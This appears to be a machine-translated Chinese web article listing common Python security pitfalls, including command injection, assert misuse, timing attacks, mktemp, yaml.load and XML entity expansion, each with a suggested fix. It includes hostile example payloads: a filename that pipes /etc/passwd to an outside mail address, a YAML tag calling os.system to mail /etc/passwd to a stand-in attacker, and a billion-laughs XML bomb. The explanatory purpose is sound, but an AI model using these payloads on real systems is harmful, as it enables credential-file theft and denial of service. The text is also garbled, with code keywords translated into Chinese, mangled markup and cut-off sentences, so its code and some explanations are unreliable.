Python常见的安全问题有哪些

  介绍

这篇文章给大家分享的是有关Python常见的安全问题有哪些的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

一、输入注入

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言,框架和环境。

SQL注入是直接编写SQL查询(而非使用ORM)时将字符串字面量与变量混合。可以通过https://www.yisu.com/article/187001.htm
这个链接查看SQL注入所有可能发生的复杂方式。

命令注入可能在使用<强> popen、子流程,操作系统。系统强调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import 子流程      def  transcode_file(请求,,文件名):   ,,,command =, & # 39; ffmpeg 我;“{来源}“,output_file.mpg& # 39; .format(源=文件名)   ,,,subprocess.call(命令,shell=True),, #, a  bad 主意!

攻击者会将文件名的值设置为<代码>”;猫/etc/passwd |邮件them@domain.com>

<强>修复:

如果你使用了网页框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建SQL查询,大多数ORM都具有内置的消毒方法。

对于壳,可以使用shlex模块正确地转义输入。

二,断言语句(assert语句)

不要使用断言语句来防止用户访问不应访问的代码段。

def  foo(请求,用户):   ,,assert  user.is_admin,“user  does  not  have 访问”   ,,#,secure 代码…

现在,默认情况下,Python以<代码> __debug__> is_admin>

<强>修复:

仅在与其他开发人员进行通信时使用断言语句,例如在单元测试中或为了防止不正确的API使用。

三、计时攻击(计时攻击)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数网络应用程序涉及可变延迟,因此几乎不可能在HTTP Web服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

<强>修复:

使用在Python 3.5中引入的secrets.compare_digest来比较密码和其他私密值。

四,临时文件(临时文件)

要在Python中创建临时文件,通常使用mktemp()函数生成一个文件名,然后使用该名称创建一个文件。这是不安全的,因为另一个进程可能会在调用mktemp()和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的Python会抛出运行警告。

<强>修复:

如果需要生成临时文件,请使用tempfile模块并使用mkstemp。

五、使用yaml。负载

引用PyYAML文档:

警告:使用从不可信源接收到的数据来调用,yaml.load 是不安全的!,yaml.load 和pickle.load 一样强大,所以可以调用任何,Python 函数。

在流行Python的项目Ansible中这个例子,你可以将此值作为(有效)YAML提供给Ansible金库,它使用文件中提供的参数调用os.system ()。

! ! Python/对象/应用:os.system  [“cat /etc/passwd  |, mail  me@hack.c"]

所以,从用户提供的值中有效地加载YAML文件会让应用对攻击打开大门。

<强>修复:

总是不优先使用YAML。safe_load,除非你有一个非常好的理由。

六、解析XML(解析XML)

如果你的应用程序要加载,解析XML文件,则你可能正在使用XML标准库模块。通过XML的攻击大多是DoS风格(旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML文件时。

其中有个“十亿笑”,因为他的负载通常包含很多(十亿)“lol”。基本上,这个原理是可以在XML中使用参照实体,所以当解析器将这个XML文件加载到内存中时,它会消耗数G大小的内存(内存)。

& lt; ? xml  version=?.0“?比;   & lt; ! DOCTYPE  lolz  (   & lt;才能! ENTITY  lol “lol"比;   & lt;才能! ENTITY  lol2 “,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,哈哈,,在   & lt;才能! ENTITY  lol3 “, lol2;, lol2;, lol2;, lol2;, lol2;, lol2;, lol2;, lol2;, lol2;, lol2;“比;   & lt;才能! ENTITY  lol4 “, lol3;, lol3;, lol3;, lol3;, lol3;, lol3;, lol3;, lol3;, lol3;, lol3;“比;   & lt;才能! ENTITY  lol5 “, lol4;, lol4;, lol4;, lol4;, lol4;, lol4;, lol4;, lol4;, lol4;, lol4;“比;   & lt;才能! ENTITY  lol6 “, lol5;, lol5;, lol5;, lol5;, lol5;, lol5;, lol5;, lol5;, lol5;, lol5;“比;   & lt;才能! ENTITY  lol7 “, lol6;, lol6;, lol6;, lol6;, lol6;, lol6;, lol6;, lol6;, lol6;, lol6;“比;   & lt;才能! ENTITY  lol8 “, lol7;, lol7;, lol7;, lol7;, lol7;, lol7;, lol7;, lol7;, lol7;, lol7;“比;   & lt;才能! ENTITY  lol9 “, lol8;, lol8;, lol8;, lol8;, lol8;, lol8;, lol8;, lol8;, lol8;, lol8;“比;   ]在;   & lt; lolz>, lol9; & lt;/lolz>

Python常见的安全问题有哪些